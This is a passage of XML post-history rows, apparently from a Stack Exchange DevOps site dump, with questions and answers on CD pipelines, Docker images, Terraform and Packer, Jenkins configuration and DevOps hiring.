  <row Id="4040" PostHistoryTypeId="5" PostId="1219" RevisionGUID="aaf56fa4-d67a-4ad1-a782-ab893676046d" CreationDate="2017-05-22T11:45:37.857" UserId="465" Comment="Updated question based on helpful feedback" Text="At work we have a [Go][1] [CD pipeline][2] for producing [docker][3] [images][4], and scheduling docker containers with [rancher][5]. &#xD;&#xA;&#xD;&#xA;This works quite well. You can [commit][6] a change to the Docker image in [Git][7], the pipeline will pick it up, and upgrade the container. (The CD pipeline tags the version of the docker image with the build number of the pipeline, and this provides continuity throughout the upgrade.)&#xD;&#xA;&#xD;&#xA;We have a similar arrangement with AWS AMIs using [Hashicorp][8] [Packer][9] and [terraform][10]. You can make a change to a packer json file in git, the pipeline will rebuild a new AMI.  Given the user's approval in Go (we have some stage-gates in Go) this can then in theory to stop the existing ec2 instance and start a new one based on the AMI that was built. (The ID of the AMI is passed through the pipeline.)&#xD;&#xA;&#xD;&#xA;In practice terraform doesn't work quite as well in a pipeline. (Compared to docker). Sometimes it is just the sheer complexity of things associated with an EC2 instance and corresponding VPC/routing arrangements can tangle it. Sometimes it is that you need to custom-write your own tests to see if the EC2 instance was stopped, and then started. &#xD;&#xA;&#xD;&#xA;Is there a broader consensus on this issue? Are there some patterns I'm missing? Or is it just that when you're on the bleeding edge, things hurt a bit?&#xD;&#xA;&#xD;&#xA;My question is: **How does using packer and terraform in a CD pipeline compare to docker images built from git?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.thoughtworks.com/go/&#xD;&#xA;  [2]: https://devops.com/continuous-delivery-pipeline/&#xD;&#xA;  [3]: https://www.docker.com/&#xD;&#xA;  [4]: https://docs.docker.com/engine/reference/commandline/images/&#xD;&#xA;  [5]: http://rancher.com/rancher/&#xD;&#xA;  [6]: https://git-scm.com/docs/git-commit&#xD;&#xA;  [7]: https://en.wikipedia.org/wiki/Git&#xD;&#xA;  [8]: https://www.hashicorp.com/&#xD;&#xA;  [9]: https://www.packer.io/&#xD;&#xA;  [10]: https://www.terraform.io/" ContentLicense="CC BY-SA 3.0" />
  <row Id="4041" PostHistoryTypeId="4" PostId="1219" RevisionGUID="aaf56fa4-d67a-4ad1-a782-ab893676046d" CreationDate="2017-05-22T11:45:37.857" UserId="465" Comment="Updated question based on helpful feedback" Text="How does using packer and terraform in a CD pipeline compare to docker images built from git?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4042" PostHistoryTypeId="2" PostId="1223" RevisionGUID="dc68db22-b64b-4405-84bf-3c1d056448ca" CreationDate="2017-05-22T11:47:20.967" UserId="465" Text="Here is what I ended up using. Enjoy. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    for instance in $instances;&#xD;&#xA;    do&#xD;&#xA;      count=`aws ec2 describe-volumes --filters Name=attachment.status,Values=attached Name=attachment.instance-id,Values=$instance --query &quot;Volumes[]&quot;  | jq  -r '. | length';`&#xD;&#xA;      name=`aws ec2 describe-tags --filters Name=resource-id,Values=$instance Name=key,Values=Name --query Tags[].Value | jq -r '.[0]'`&#xD;&#xA;      if [ $count -gt 0 ]; then&#xD;&#xA;        START=0&#xD;&#xA;        END=$count&#xD;&#xA;        for ((i=START; i&lt;END; i++))&#xD;&#xA;        do&#xD;&#xA;           #echo &quot;i: $i&quot;&#xD;&#xA;           encrypted=`aws ec2 describe-volumes --filters Name=attachment.status,Values=attached Name=attachment.instance-id,Values=$instance --query &quot;Volumes[]&quot;  | jq  -r &quot;.[$i].Encrypted&quot;;`&#xD;&#xA;           volumeid=`aws ec2 describe-volumes --filters Name=attachment.status,Values=attached Name=attachment.instance-id,Values=$instance --query &quot;Volumes[]&quot;  | jq  -r &quot;.[$i].VolumeId&quot;;`&#xD;&#xA;           echo &quot;$instance $name Volumes: $count VolumeId: $volumeid Encrypted: $encrypted &quot;&#xD;&#xA;        done&#xD;&#xA;      fi&#xD;&#xA;    done" ContentLicense="CC BY-SA 3.0" />
  <row Id="4043" PostHistoryTypeId="2" PostId="1224" RevisionGUID="f5ef95c1-d03a-48ec-835b-f6b5d5dfa5a0" CreationDate="2017-05-22T12:43:38.650" UserId="13" Text="You're comparing apples with oranges according to your description. A strict comparison could be packer toward dockerfile, and/or terraform toward kubernetes yaml for example.&#xD;&#xA;&#xD;&#xA;Main difference between your docker pipeline and your packer/terraform one is the architecture behind them.  &#xD;&#xA;What is putting the burden here is that your AWS infrastructure doesn't take advantage of auto-scaling groups rolling updates, or your 'stage-gates' in go does disrupt them.&#xD;&#xA;&#xD;&#xA;You're not comparing docker with terraform, you're comparing rancher with your AWS infrastructure choices. If you don't use the equivalent bricks of rancher load balancing and deployment groups (kubernetes wording here) which are Elastic Load Balancers and Auto Scaling Groups in AWS you can't compare them.  &#xD;&#xA;That's saying a car and an bicycle does the same thing (transportation) with a better result for the car, put a motor on the bicycle and you'll have a far different appreciation and something less biased.&#xD;&#xA;&#xD;&#xA;Your observation is pointing out that your usage of AWS facilities is sub optimal, terraform (or whatever provisionning system) can't help you more than running things, if your architecture is not made (in the terraform file) to allow rolling updates from this facility, no automatic system will fix it for you as you'll have to code it again (test instances status, etc.).&#xD;&#xA;&#xD;&#xA;Of course rancher pre-bake most of those, making them invisible to you. This also mean you are enforced in rancher methodology (well, swarm, kubernetes or messos architecture to be exact).  &#xD;&#xA;That's the main difference, on one side you have an infrastructure already ready to serve with rancher and you can't run outside it, and on the other side you have to think your architecture before hand. If you were to run docker containers on a bare docker host (without any orchestrator on top) you'll end up with the same architecture design to think before hand and the same caveats you're seeing on AWS.&#xD;&#xA;&#xD;&#xA;AWS is not strict on how you use it, it's an infrastructure as a service with no opinion on how you use it, whereas rancher enforce a bunch of services around your own container to save you the design time as long as you accept the constraint within it.&#xD;&#xA;&#xD;&#xA;Hope this help seeing the problem from an upper level and as such I think the answer to your questions is that you were missing a pattern ;)&#xD;&#xA;&#xD;&#xA;For the records: we're doing deployments on AWS with cloudformation (native version of terraform, with its own caveats) from  a push on a gitlab server and it works nicely, the work to get proper cloudformation templates and the script to run it was non negligible. This to say the tools are not the problem, it's all a design choice at a point, same results can be achieved, arncher comes with its own caveats and design choices to make when you integrate it into an existing infrastructure. " ContentLicense="CC BY-SA 3.0" />
  <row Id="4044" PostHistoryTypeId="2" PostId="1225" RevisionGUID="4e2c3e2b-4f56-411a-b197-f7d7e7bbcf74" CreationDate="2017-05-22T13:45:51.637" UserId="2598" Text="If you are concerned with the meaning of DevOps, and following a &quot;one true path&quot;.  You shouldn't hire a DevOps Engineer.  You should hire an Automation Engineer, or A Deployment engineer, or Platform Architect, or a number of other roles that do what you need.&#xD;&#xA;&#xD;&#xA;If being a true DevOps practitioner isn't important to you, then you can call it whatever you want." ContentLicense="CC BY-SA 3.0" />
  <row Id="4045" PostHistoryTypeId="33" PostId="797" RevisionGUID="096e135e-d8a3-4b10-ace5-5a3d671cc1b3" CreationDate="2017-05-22T14:54:10.163" UserId="13" Comment="3" />
  <row Id="4046" PostHistoryTypeId="34" PostId="742" RevisionGUID="1fb61f89-e71c-4adc-af17-461b8b89f177" CreationDate="2017-05-22T15:21:43.027" UserId="14" Comment="2" />
  <row Id="4047" PostHistoryTypeId="5" PostId="286" RevisionGUID="46965eb4-9568-48b6-8d4b-153b8d4bf20e" CreationDate="2017-05-22T17:00:45.260" UserId="2845" Comment="Grammar corrections" Text="What I have done (and this is only subjective) is as follows:&#xD;&#xA;&#xD;&#xA;When a manager thinking about a due date wishes to add people into my team to cut the time needed and seems under MMM, I first discuss with him or her on why this could be bad. My favorite analogy for this is to remind them that if one woman can have a baby in nine months, nine women won't have one baby in one month, but they'll have nine babies in nine months. The time isn't cut, just the parallel processing is better.&#xD;&#xA;&#xD;&#xA;When the decision is forced upon our team, we usually try to either further divide some tasks, and when this is not possible we usually rely on [pair programming](https://en.wikipedia.org/wiki/Pair_programming), where one programmer is responsible for typing, and the other dictates the code (and switching periodically).&#xD;&#xA;&#xD;&#xA;The code writing itself is slower, but there's fewer typo/linting and bugs when testing because of the inevitable review done while writing. I feel the overall code quality is also a little better, but I've no metrics to support that claim." ContentLicense="CC BY-SA 3.0" />
  <row Id="4048" PostHistoryTypeId="24" PostId="286" RevisionGUID="46965eb4-9568-48b6-8d4b-153b8d4bf20e" CreationDate="2017-05-22T17:00:45.260" Comment="Proposed by 2845 approved by 46 edit id of 348" ContentLicense="CC BY-SA 3.0" />
  <row Id="4049" PostHistoryTypeId="2" PostId="1226" RevisionGUID="9ce31016-7475-405f-a9f7-b5bd16e8118b" CreationDate="2017-05-22T19:47:00.907" UserId="2845" Text="For software and deploying code to an existing server or inside a Docker container, the answer is relatively simple - No, you don't *need* both, but you might want both if another tool or utility adds value and is the [right tool for the job](https://devops.stackexchange.com/a/657/2845), however things get more complicated when you are deploying servers and operating systems.&#xD;&#xA;&#xD;&#xA;One value-add of a DevOps mentality is treating infrastructure as code and frequently deploying or destroying virtual machines or even bare metal in a highly elasticized environment. Your configuration management system cannot easily netboot and kickstart your server for you and cannot manage repositories, packages and updates/patching for you during and after deployments or in some cases, licensing and entitlements. &#xD;&#xA;&#xD;&#xA;For Amazon Web Services, this is rather conveniently manageable by APIs for the most part, but for those of us who have to manage our own data centers, this is not an option. For this reason [The Foreman](https://www.theforeman.org/) project (and [Red Hat which re-brands this](https://access.redhat.com/products/red-hat-satellite)) have found it necessary to bundle [Katello](http://www.katello.org/), [Candlepin](http://www.candlepinproject.org/) and a configuration manager such as Ansible, Foreman or Puppet together when deploying the [Katello Scenario](https://theforeman.org/plugins/katello/3.3/installation/index.html). &#xD;&#xA;&#xD;&#xA;So while you might be able to get away with using configuration management tools for software code deployments on the Dev side of the house, over on the Ops side, there are several cases where the answer is a resounding &quot;no, configuration management tools are *not* appropriate to use as deployment tools&quot; Doing so would require a serious re-invention of the wheel and is impractical. You must instead use your configuration management tools to initiate deployments in another tool." ContentLicense="CC BY-SA 3.0" />
  <row Id="4051" PostHistoryTypeId="5" PostId="111" RevisionGUID="cc8fdcbe-afd6-4737-a7f5-e5a874ea5777" CreationDate="2017-05-23T12:39:34.013" UserId="-1" Comment="replaced http://stackoverflow.com/ with https://stackoverflow.com/" Text="With a minimally engineered server code (a Google AppEngine application in the example) it's possible to duplicate and forward incoming HTTP traffic received by a production server to a test server (or vice-versa) for the purpose of comparing their responses. See https://stackoverflow.com/questions/38799566/can-i-asynchronously-duplicate-a-webapp2-requesthandler-request-to-a-different-u.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4052" PostHistoryTypeId="5" PostId="137" RevisionGUID="7a425942-7809-4cb8-bfeb-4da22cf5a802" CreationDate="2017-05-23T12:39:34.013" UserId="-1" Comment="replaced http://stackoverflow.com/ with https://stackoverflow.com/" Text="Many big companies would be at fault for not using this feature. It does add additional cost, and historically any kind of *real* disaster recovery solution is untested even if implemented.&#xD;&#xA;&#xD;&#xA;Other than the cost issue, companies who are actively using cross-region replication can offer a valid concern regarding the latency it takes for an object to replicate. S3 does not allow (as far as I know) read-after-write consistency on replicated objects, while it does allow it for a bucket in a single region.&#xD;&#xA;&#xD;&#xA;This [SE question][1] raises a concern where objects are not being replicated properly, or take too long to replicate. Provided that cross-region replication is done in a mode of eventual consistency, there are a lot of concerns to address.&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/23786609/what-is-maximum-amazon-s3-replication-time-on-file-upload" ContentLicense="CC BY-SA 3.0" />
  <row Id="4053" PostHistoryTypeId="5" PostId="157" RevisionGUID="9dae9203-b396-4e12-ab2d-90f2fa56bb5e" CreationDate="2017-05-23T12:39:34.013" UserId="-1" Comment="replaced http://stackoverflow.com/ with https://stackoverflow.com/" Text="When applying for a job, usually you can find two types of similar jobs: [Sysadmin Engineer][1] and [DevOps Engineer][2].&#xD;&#xA;&#xD;&#xA;Both of them deal with server configuration and ensure the reliable operation of computer systems. As such, it can be hard to tell the difference between the two. What are the main differences between these two roles? How to distinguish them?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/jobs?sort=i&amp;q=SysAdmin&#xD;&#xA;  [2]: https://stackoverflow.com/jobs?sort=i&amp;q=DevOps" ContentLicense="CC BY-SA 3.0" />
  <row Id="4054" PostHistoryTypeId="5" PostId="403" RevisionGUID="a80416e4-b8b2-4ab3-84bc-edef77d6dd8b" CreationDate="2017-05-23T12:39:34.013" UserId="-1" Comment="replaced http://stackoverflow.com/ with https://stackoverflow.com/" Text="Branching strategy is a very clearly a business decision in which the DevOps engineer should be the primary expert, explaining all the trade offs. There are some strong positions on this issue in the community, very clearly Jez Humble is on one side with his book of Continuous Delivery. You could see him talking about it [here][1]. Here would be a [video][2] by panel of experts on the topic. And here is my highly up-voted [answer][3] on StackOverflow specifically on topic of feature branches. So clearly this is a big topic for DevOps.&#xD;&#xA;&#xD;&#xA;One thing that people often say (Jez Humble mostly) is that feature branches are evil. You will need a (n-1)(n-2)/2 merges *[combination number n-1 over 2]* for n independent feature branches. Which comes to some very high numbers at 10+ feature branches. And because merging is hard and no publicly available version control systems do it will, then the entire Software Industry is moving away from software releases and software on premises to Software as a Service, where the only way is forward and software is both developed and maintained for you by the vendor.&#xD;&#xA;&#xD;&#xA;As far as I know, there is only one company that can do high quality, business critical software on premises, with maintaining 10+ years of past major releases, back-porting patches through multiple waves of code refactoring and capable of working regularly on dozens of major feature branches per release and thousands small features developed on their individual feature branches and being continually merged as full features and not individual commits. The code has also been released on 14 different architectures. That company is Oracle, the product is RDBMS and they have been practicing what is now called DevOps since at least 1990. Hundreds of code deployments a day back in 2001 would be pretty standard. The reason why they are able to do it is through rigorous coding standards, invariant test suite and a proprietary version control system I've spent 10+ years of my life developing. A system that can do 99% of all merges through automation.&#xD;&#xA;&#xD;&#xA;Everyone else pretty much only patches the most recent major release version past a certain stage/size of a project or it takes extreme amounts of human resources to merge all the patches to all the possible release versions and extreme amounts of human or compute resources to test them all. For example in Linux kernel you would have a maintainer for X.odd development version and later stability branch maintainer for X.even version, but you would see not patches for X-1.Y versions. Sometimes Linux distributions would maintain kernel version in their LTS release, but only at high cost and with varying code quality among distributions. And that is a high visibility project with enormous resources poured into it. &#xD;&#xA;&#xD;&#xA;The primary reasons for this discrepancy are differences in:&#xD;&#xA;&#xD;&#xA; 1. Adherence to Coding Standards and Code Styles&#xD;&#xA; 2. Complete coverage by invariant test suite, which can catch bugs for which no tests were written specifically.&#xD;&#xA; 3. Version Control System capable of high levels of Automation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.youtube.com/watch?v=ZLBhVEo1OG4&#xD;&#xA;  [2]: https://www.youtube.com/watch?v=30yN4hefrt0&#xD;&#xA;  [3]: https://stackoverflow.com/questions/597707/best-branching-strategy-when-doing-continuous-integration/605337#605337" ContentLicense="CC BY-SA 3.0" />
  <row Id="4055" PostHistoryTypeId="5" PostId="417" RevisionGUID="dedc9431-f7f2-4aa4-be24-a51514390078" CreationDate="2017-05-23T12:39:34.013" UserId="-1" Comment="replaced http://stackoverflow.com/ with https://stackoverflow.com/" Text="A `Dockerfile` creates a new layer for each of the commands in the file. Since layers are well, *layered* on top of each other - you cannot remove files that a previous layer added. This is why when you install packages, or download files, or create builds each in a separate command - these are still there in the image, even if in a future layer you removed them.&#xD;&#xA;&#xD;&#xA;So if you just change this:&#xD;&#xA;&#xD;&#xA;    RUN apt-get update -y&#xD;&#xA;    RUN apt-get install -y wget a-package&#xD;&#xA;    # ...&#xD;&#xA;    RUN apt-get purge -y wget&#xD;&#xA;    RUN rm -r a-build-dir&#xD;&#xA;    RUN apt-get purge -y a-package&#xD;&#xA;&#xD;&#xA;To this:&#xD;&#xA;&#xD;&#xA;    RUN apt-get update -y \&#xD;&#xA;        &amp;&amp; apt-get install -y wget a-package \&#xD;&#xA;        &amp;&amp; mkdir a-build-dir \&#xD;&#xA;        &amp;&amp; wget http://some-site/very-big-source-code.tar.gz \&#xD;&#xA;        &amp;&amp; tar xzvf very-big-source-code.tar.gz \&#xD;&#xA;        &amp;&amp; do-some-compilation \&#xD;&#xA;        &amp;&amp; apt-get purge -y wget \&#xD;&#xA;        &amp;&amp; cd .. \&#xD;&#xA;        &amp;&amp; rm -rf a-build-dir \&#xD;&#xA;        &amp;&amp; apt-get purge -y a-package&#xD;&#xA;&#xD;&#xA;You will get a much smaller image.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Another option, is to **squash** the image after you built it.&#xD;&#xA;[Q: How does the new `docker --squash` work?][1]&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Yet another option, is to choose a slim base image. For example, images that use [Alpine Linux][2] as their base instead of Debian, take just 10-15mb instead of 180-250mb. And this is before adding your own application and data. Many *official* base images on [Docker Hub][3] have an alpine version.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/41764336/how-does-the-new-docker-squash-work&#xD;&#xA;  [2]: https://alpinelinux.org/&#xD;&#xA;  [3]: https://hub.docker.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="4056" PostHistoryTypeId="5" PostId="426" RevisionGUID="90ec66a9-235d-4740-949e-71386f52b77b" CreationDate="2017-05-23T12:39:34.013" UserId="-1" Comment="replaced http://stackoverflow.com/ with https://stackoverflow.com/" Text="Immutability is a term often used in computer science circles, which generally boils down to &quot;not possible to change after creation&quot;.  It is typically used in reference to parallelism, concurrency, and thread safety.&#xD;&#xA;&#xD;&#xA;The discussion of that topic is fascinating, but can generally be found [elsewhere on Stack Overflow][1].  I'm resisting the urge to dive into it here.  The key concept is 'not possible to change after creation'.&#xD;&#xA;&#xD;&#xA;Imagine if, on Amazon, you deploy a web service by baking it into a Machine Image (AMI - a pre-built instance you can repeatedly re-provision).  It connects to a backend database via credentials it gets out of a registry on startup.  It dumps logs into a logging tool like Splunk.  For normal day-to-day operation, you have no reason to ssh into this box.  If you need to scale up that service, you just create more instances of that AMI and adjust a load balancer.  Spinning it down is simply the destruction of instances and load balancers.&#xD;&#xA;&#xD;&#xA;For the day-to-day operation, this box has *no reason to change*.  We can just fire up more off of the AMI.&#xD;&#xA;&#xD;&#xA;What happens when you need to provide an OS-level security patch?  This is when you have a decision to make... do you bake a new AMI with the patch installed and redeploy all running instances, or do you ssh into existing images and update the patch?  There are plenty of people who would just ssh in.  The adherents of 'immutable architecture' just yelled at me for even suggesting such a thing is possible.&#xD;&#xA;&#xD;&#xA;Immutabilists (if there is such a word) advocate baking the new ami.  They advocate removing all reason to ssh into a machine ever.  They advocate that any specific machine configuration should happen on the startup of that machine by pulling config details out of a repository.  This is the ultimate expression of 'cattle, not pets'.&#xD;&#xA;&#xD;&#xA;Immutable architecture is specifically about machine configurations that *have no reason to change after the creation of the machine image*.  If something needs to change, bake a new instance image, shut down the old, bring up the new.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/279507/what-is-meant-by-immutable" ContentLicense="CC BY-SA 3.0" />
  <row Id="4057" PostHistoryTypeId="5" PostId="434" RevisionGUID="d9ffb57f-a6f7-4e83-915b-27423b0e5f56" CreationDate="2017-05-23T12:39:34.013" UserId="-1" Comment="replaced http://stackoverflow.com/ with https://stackoverflow.com/" Text="No. Because you [cannot distribute Oracle JDK or JRE, the license in effect doesn't allow distribution][1]. When distributed by a third party (embedded with your app) all the liability for it not working is on that party. This is why you will not find Oracle JDK/JRE on any of the public Docker registries, or in any Linux package repositories for that matter.&#xD;&#xA;&#xD;&#xA;You can create your own image, and install Oracle JDK or JRE using the [webupd8team/java][2] package for Ubuntu/Debian.&#xD;&#xA;&#xD;&#xA;And if you are using Alpine Linux [this blog post][3] explains which dependencies are required, and [links to StackOverflow][4] for installation instructions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.oracle.com/technetwork/java/javase/terms/license/index.html&#xD;&#xA;  [2]: https://launchpad.net/~webupd8team/+archive/ubuntu/java&#xD;&#xA;  [3]: https://developer.atlassian.com/blog/2015/08/minimal-java-docker-containers/&#xD;&#xA;  [4]: https://stackoverflow.com/questions/10268583/downloading-java-jdk-on-linux-via-wget-is-shown-license-page-instead" ContentLicense="CC BY-SA 3.0" />
  <row Id="4058" PostHistoryTypeId="5" PostId="447" RevisionGUID="e91a87ba-6a1c-4bd4-8059-e6a0eb501f27" CreationDate="2017-05-23T12:39:34.013" UserId="-1" Comment="replaced http://stackoverflow.com/ with https://stackoverflow.com/" Text="In many blog posts, and general opinion, there is a saying that goes &quot;one process per container&quot;.&#xD;&#xA;&#xD;&#xA;Why does this rule exist?&#xD;&#xA;Why not run ntp, nginx, uwsgi and more processes in a single container that needs to have all processes to work?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;blog posts mentioning this rule:&#xD;&#xA;&#xD;&#xA;* [&quot;Single-­process-­per-­container is a recommended design pattern for Docker applications.&quot;][1]&#xD;&#xA;* [&quot;Docker is only for creating single-process or single-service containers.&quot;][2]&#xD;&#xA;* [&quot;better to use one process per container&quot;][3]&#xD;&#xA;* [&quot;Run a single service as a container&quot;][4]&#xD;&#xA;* [&quot;One process per container&quot;][5]&#xD;&#xA;* [&quot;one process per container&quot;][6]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://runnable.com/docker/rails/run-multiple-processes-in-a-container&#xD;&#xA;  [2]: https://blog.codeship.com/using-honcho-create-multi-process-docker-container/&#xD;&#xA;  [3]: https://stackoverflow.com/questions/30003338/docker-one-process-per-container&#xD;&#xA;  [4]: https://blog.risingstack.com/operating-system-containers-vs-application-containers/&#xD;&#xA;  [5]: https://getcarina.com/docs/best-practices/container-design-philosophy/&#xD;&#xA;  [6]: https://github.com/docker/docker.github.io/pull/1418" ContentLicense="CC BY-SA 3.0" />
  <row Id="4059" PostHistoryTypeId="5" PostId="448" RevisionGUID="92889dc3-8350-44af-846e-9b27782989b6" CreationDate="2017-05-23T12:39:34.013" UserId="-1" Comment="replaced http://stackoverflow.com/ with https://stackoverflow.com/" Text="The recommendation comes from the goal and design of the [Operating-system-level virtualization](https://en.wikipedia.org/wiki/Operating-system-level_virtualization)&#xD;&#xA;&#xD;&#xA;Containers have been designed to isolate a process for others by giving it its own [userspace](https://en.wikipedia.org/wiki/User_space) and filesystem.  &#xD;&#xA;This is the logical evolution of `chroot` which was providing an isolated filesystem, the next step was isolating processes from the others to avoid memory overwrites and allowing to use the same resource (I.e TCP port 8080 for example) from multiple processes without conflicts.  &#xD;&#xA;&#xD;&#xA;The main interest in a container it to package the needed library for the process without worrying about version conflicts.&#xD;&#xA;If you run multiples processes needing two versions of the same library in the same userspace and filesystem, you'd had to tweak at least LDPATH for each process so the proper library is found first, and some libraries can't be tweaked this way, because their path is hard coded in the executable at compilation time, see [this SO question](https://stackoverflow.com/questions/847179/multiple-glibc-libraries-on-a-single-host) for more details.  &#xD;&#xA;At the network level you'll have to configure each process to avoid using the same ports. &#xD;&#xA;&#xD;&#xA;Running multiple processes in the same container require some heavy tweaking and at the end of the day defeat the purpose of isolation, if you are ok to run multiples processes within the same userspace, sharing the same filesytem and network resources, then why not running them on the host itself ?&#xD;&#xA;&#xD;&#xA;Here is the non exhaustive list of the heavy tweaking/pitfalls I can think of:&#xD;&#xA;&#xD;&#xA; - Handling the logs&#xD;&#xA;    &#xD;&#xA;    Either being with a mounted volume or interleaved on stdout this bring some management. If using a mounted volume your container should have it's own &quot;place&quot; on host or two same containers will fight for the same resource. When interleaving on stdout to take advantage of `docker logs` it can become a nightmare for analysis if the sources can't be identified easily.&#xD;&#xA;&#xD;&#xA; - Beware of zombie processes&#xD;&#xA;&#xD;&#xA;    If one of your process in a container crash, supervisord may not be able to clean up the childs in a zombie state, and the host init will never inherit them. Once you exhausted the number of available pids (2^22 so roughly 4 millions) a bunch of things will fail.&#xD;&#xA;&#xD;&#xA; - Separation of concerns&#xD;&#xA;&#xD;&#xA;    If you run two separated things, like an apache server and logstash within the same container, that may ease the log handling, but you have to shutdown apache to update logstash. (In reality, you should use the logging driver of Docker) &#xD;&#xA;    Will it be a graceful stop waiting the current sessions to end or not ? If it's a graceful stop, it may take sometime and become long to roll the new version. If you do a kill, you'll impact users for a log shipper and that should be avoided IMHO.&#xD;&#xA;&#xD;&#xA;Finally when you have multiple processes you're reproducing an OS, and in this case using a hardware virtualization sounds more in line with this need." ContentLicense="CC BY-SA 3.0" />
  <row Id="4060" PostHistoryTypeId="5" PostId="465" RevisionGUID="adea90e3-e3d5-46fc-b987-3fd8030aa3a0" CreationDate="2017-05-23T12:39:34.013" UserId="-1" Comment="replaced http://stackoverflow.com/ with https://stackoverflow.com/" Text="First of all let me say that I'm aware of related questions here in SO:&#xD;&#xA;&#xD;&#xA; - [Vagrant, Docker, Puppet, Chef](https://stackoverflow.com/questions/41471832/vagrant-docker-puppet-chef)&#xD;&#xA; - [Vagrant + puppet + docker](https://stackoverflow.com/questions/30933916/vagrant-puppet-docker)&#xD;&#xA; - [chef-server - chef-solo - vagrant - puppet... which is correct for me?](https://stackoverflow.com/questions/22181419/chef-server-chef-solo-vagrant-puppet-which-is-correct-for-me)&#xD;&#xA;&#xD;&#xA;Or articles out there:&#xD;&#xA;&#xD;&#xA; - https://www.upguard.com/blog/puppet-vs-chef-battle-wages&#xD;&#xA;&#xD;&#xA;But I'm having trouble understanding real benefit they provide for a web developer (e.g. Full stack developer with (PHP/react)). You know? None of them is that clear for me in:&#xD;&#xA;&#xD;&#xA; - what facilities they could provide &amp; how they make my job easier?&#xD;&#xA; - When do they become semi vital for project success &amp; non-self-repeating activities?&#xD;&#xA;&#xD;&#xA;Would you mind clarifying these concepts/techs from my POV? If you mind, please avoid comparing with routine &quot;Vs.&quot; literature &amp; Try to introduce real-life good-parts. A brief explanation from anybody would sufficient.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4061" PostHistoryTypeId="5" PostId="468" RevisionGUID="67122c1d-9599-4106-8b21-babafb44140f" CreationDate="2017-05-23T12:39:34.013" UserId="-1" Comment="replaced http://stackoverflow.com/ with https://stackoverflow.com/" Text="Good developers should fit rule 11 of the [Joel Test][1]:&#xD;&#xA;&#xD;&#xA;&gt;  Do new candidates write code during their interview?&#xD;&#xA;&#xD;&#xA; However, I know little to nothing about Docker containers, how to configure Jenkins or AWS, etc. What would be a good way to test if the person who applies can manage such tasks?&#xD;&#xA;&#xD;&#xA;Sub-questions: I believe that a good devops employee can configure the build chain once and it should work from then on out. Can I then also expect him or her to be a developer in the company (DEVops)? As DevOps is a relatively &quot;new&quot; job, is it maybe better for small companies to share a devops employee or hire him or her as a freelancer whenever you need him or her?&#xD;&#xA;&#xD;&#xA;[![enter image description here][2]][2]&#xD;&#xA;My confusion about the term originates from job offers like this, even [here on stackexchange][3] (= link where above screenprint was taken from).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.joelonsoftware.com/2000/08/09/the-joel-test-12-steps-to-better-code/&#xD;&#xA;  [2]: https://i.stack.imgur.com/omE6J.png&#xD;&#xA;  [3]: https://stackoverflow.com/jobs/135988/" ContentLicense="CC BY-SA 3.0" />
  <row Id="4062" PostHistoryTypeId="5" PostId="478" RevisionGUID="3a0b03d3-e2b7-4cfc-ad7d-a778a0219ce8" CreationDate="2017-05-23T12:39:34.013" UserId="-1" Comment="replaced http://stackoverflow.com/ with https://stackoverflow.com/" Text="So here is your job role:&#xD;&#xA;&#xD;&#xA;- You help in designing common modules that allow other teams to easily deploy their code onto production. This includes Java code, dockerfiles, ansible modules, build pipeline configurations, etc.&#xD;&#xA;- You help promote DevOps practices for both other developer teams and the operation teams&#xD;&#xA;- You are partially responsible for the staging environments&#xD;&#xA;- You are responsible for investigating technologies that help the applications scale better and be more reliable&#xD;&#xA;&#xD;&#xA;How would you identify your team? How would you identify yourself? You know that you could cheat and include DevOps in your name, but [that would be wrong][1]. On the other hand you want to be more specific, so a simple Software Engineer won't cut it, especially since you want the &lt;strike&gt;annoying&lt;/strike&gt; recruiters to contact you for jobs related to this practice, not just because you like it, but because you know [the average salary is also higher][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/468/how-do-i-hire-a-good-devops-fitting-my-company&#xD;&#xA;  [2]: https://stackoverflow.com/insights/survey/2016#work-salary" ContentLicense="CC BY-SA 3.0" />
  <row Id="4063" PostHistoryTypeId="5" PostId="563" RevisionGUID="f9557e67-4d14-4bab-b050-89183151acc6" CreationDate="2017-05-23T12:39:34.013" UserId="-1" Comment="replaced http://stackoverflow.com/ with https://stackoverflow.com/" Text="All jobs (`jobs/`) and master config files (`config.xml`) can be found in [Jenkins home folder][1] (`JENKINS_HOME `) in the following structure:&#xD;&#xA;&#xD;&#xA;    JENKINS_HOME&#xD;&#xA;     +- config.xml     (jenkins root configuration)&#xD;&#xA;     +- *.xml          (other site-wide configuration files)&#xD;&#xA;     +- userContent    (files in this directory will be served under your http://server/userContent/)&#xD;&#xA;     +- fingerprints   (stores fingerprint records)&#xD;&#xA;     +- plugins        (stores plugins)&#xD;&#xA;     +- workspace (working directory for the version control system)&#xD;&#xA;         +- [JOBNAME] (sub directory for each job)&#xD;&#xA;     +- jobs&#xD;&#xA;         +- [JOBNAME]      (sub directory for each job)&#xD;&#xA;             +- config.xml     (job configuration file)&#xD;&#xA;             +- latest         (symbolic link to the last successful build)&#xD;&#xA;             +- builds&#xD;&#xA;                 +- [BUILD_ID]     (for each build)&#xD;&#xA;                     +- build.xml      (build result summary)&#xD;&#xA;                     +- log            (log file)&#xD;&#xA;                     +- changelog.xml  (change log)&#xD;&#xA;&#xD;&#xA;Most of the config are in XML format, so backing all `.xml` files should be enough.&#xD;&#xA;&#xD;&#xA;&gt; All the settings, build logs, artifact archives are stored under the 